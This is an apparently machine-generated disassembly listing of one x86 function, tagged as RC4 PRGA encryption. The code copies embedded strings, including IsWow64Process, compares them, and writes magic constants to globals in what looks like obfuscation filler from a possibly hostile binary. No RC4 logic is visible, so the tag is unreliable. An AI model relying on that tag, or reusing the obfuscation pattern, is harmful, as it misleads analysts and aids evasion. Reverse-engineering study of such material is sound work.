Function at 0x4098c9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
mov eax, dword [0x434254]
lea edi, [ebp - 0x30]
imul edx, dword [0x434234], 0x7e57acf5
mov esi, 0x42cd30
push 9
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [0x434274]
add eax, 0xb7c69f34
push 0x53
mov dword [ebp - 8], eax
pop eax
movsw word es:[edi], word [esi]
mov dword [0x434234], edx
cmp ax, word [ebp - 0x30]
jne 0x409946
xor edi, edi
mov esi, eax
mov eax, edi
mov ecx, edi
test si, si
je 0x409933
cmp word [ebp + eax - 0x30], di
je 0x409933
inc ecx
lea eax, [ecx + ecx]
movzx esi, word [eax + 0x42e170]
cmp si, word [ebp + eax - 0x30]
je 0x409915
cmp dword [ebp - 8], ecx
jae 0x409948
lea edx, [ebx + 0x2b92d898]
mov dword [0x434234], edx
jmp 0x409948
xor edi, edi
mov eax, dword [ebp - 8]
mov esi, str.IsWow64Process
add eax, 0xaac74f5e
push 7
mov dword [0x434254], eax
mov eax, edi
pop ecx
lea edi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push 0x53
movsw word es:[edi], word [esi]
pop esi
xor edi, edi
cmp si, word [ebp - 0x28]
jne 0x409991
mov ecx, edi
test si, si
je 0x409991
cmp word [ebp + ecx - 0x28], di
je 0x409991
inc eax
lea ecx, [eax + eax]
movzx esi, word [ecx + 0x42e170]
cmp si, word [ebp + ecx - 0x28]
je 0x409973
movzx ecx, byte [eax*2 + 0x42e170]
movzx eax, byte [ebp + eax*2 - 0x28]
sub ecx, eax
cmp ecx, 0x13bf
ja 0x4099b6
mov edx, ebx
and edx, 0x7894a175
mov dword [0x434234], edx
mov eax, dword [0x434238]
mov ecx, edi
imul esi, eax, 0x5630a740
inc ecx
cmp word [ecx*2 + 0x42e3f4], di
jne 0x4099c3
cmp ecx, 0x182c
jne 0x4099e6
mov edx, ebx
and edx, 0x248a3298
mov dword [0x434234], edx
jmp 0x4099f2
imul ebx, esi, 0x91a3c3a4
mov dword [0x434274], ebx
lea ecx, [ebx + 0x48b3123e]
mov esi, 0x42df10
mov ebx, edi
mov dword [0x4342d4], ecx
push 0x10
pop ecx
lea edi, [ebp - 0x4c]
or eax, 0xbf88f03a
rep movsd dword es:[edi], dword [esi]
mov dword [0x4342ac], eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x4c], 0x46
jne 0x409a6b
mov al, 0x46
test al, al
je 0x409a3a
cmp byte [ebp + ebx - 0x4c], 0
je 0x409a3a
mov al, byte [ebx + 0x42e611]
inc ebx
cmp al, byte [ebp + ebx - 0x4c]
je 0x409a22
mov ecx, dword [ebp - 8]
cmp ecx, ebx
jae 0x409a6b
mov esi, dword [0x434238]
lea edx, [esi + 0x1aacd340]
mov dword [0x434234], edx
cmp ecx, 0x2554
jne 0x409a66
imul eax, esi, 0x87fe1909
mov dword [0x434254], eax
inc ecx
cmp ecx, ebx
jb 0x409a53
push 5
pop ecx
mov esi, 0x42df54
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
push 0x6f
xor eax, eax
pop ecx
movsw word es:[edi], word [esi]
mov ebx, eax
cmp cx, word [ebp - 0x20]
jne 0x409ad6
xor edi, edi
test cx, cx
je 0x409aa7
cmp word [ebp + eax - 0x20], di
je 0x409aa7
inc ebx
lea eax, [ebx + ebx]
movzx ecx, word [eax + str.onecoreuap_base_appmodel_searchcommonpkmutild_shmpipe.cxx]
cmp cx, word [ebp + eax - 0x20]
je 0x409a89
mov ecx, dword [ebp - 8]
cmp ecx, ebx
jae 0x409ad6
mov eax, dword [0x434238]
xor eax, 0x4865326
mov dword [0x434254], eax
cmp ecx, 0x2040
jne 0x409ad1
or edx, 0xfd60776d
mov dword [0x434234], edx
inc ecx
cmp ecx, ebx
jb 0x409abd
mov eax, dword [0x4342d4]
pop edi
pop esi
pop ebx
leave
ret